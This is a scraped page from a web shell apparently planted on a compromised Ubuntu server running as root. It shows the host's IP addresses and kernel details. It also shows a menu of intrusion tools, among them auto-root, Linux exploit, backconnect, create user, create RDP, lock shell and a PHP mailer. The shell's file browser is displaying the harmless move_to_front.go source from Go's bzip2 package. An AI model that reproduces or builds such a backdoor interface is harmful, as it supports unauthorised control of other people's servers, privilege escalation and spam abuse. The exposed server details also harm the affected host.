Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
compress /
bzip2 /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
bit_reader.go
1.97
KB
-rw-r--r--
bzip2.go
13
KB
-rw-r--r--
bzip2_test.go
6.35
KB
-rw-r--r--
huffman.go
6.77
KB
-rw-r--r--
move_to_front.go
1.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : move_to_front.go
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package bzip2 // moveToFrontDecoder implements a move-to-front list. Such a list is an // efficient way to transform a string with repeating elements into one with // many small valued numbers, which is suitable for entropy encoding. It works // by starting with an initial list of symbols and references symbols by their // index into that list. When a symbol is referenced, it's moved to the front // of the list. Thus, a repeated symbol ends up being encoded with many zeros, // as the symbol will be at the front of the list after the first access. type moveToFrontDecoder []byte // newMTFDecoder creates a move-to-front decoder with an explicit initial list // of symbols. func newMTFDecoder(symbols []byte) moveToFrontDecoder { if len(symbols) > 256 { panic("too many symbols") } return moveToFrontDecoder(symbols) } // newMTFDecoderWithRange creates a move-to-front decoder with an initial // symbol list of 0...n-1. func newMTFDecoderWithRange(n int) moveToFrontDecoder { if n > 256 { panic("newMTFDecoderWithRange: cannot have > 256 symbols") } m := make([]byte, n) for i := 0; i < n; i++ { m[i] = byte(i) } return moveToFrontDecoder(m) } func (m moveToFrontDecoder) Decode(n int) (b byte) { // Implement move-to-front with a simple copy. This approach // beats more sophisticated approaches in benchmarking, probably // because it has high locality of reference inside of a // single cache line (most move-to-front operations have n < 64). b = m[n] copy(m[1:], m[:n]) m[0] = b return } // First returns the symbol at the front of the list. func (m moveToFrontDecoder) First() byte { return m[0] }
Close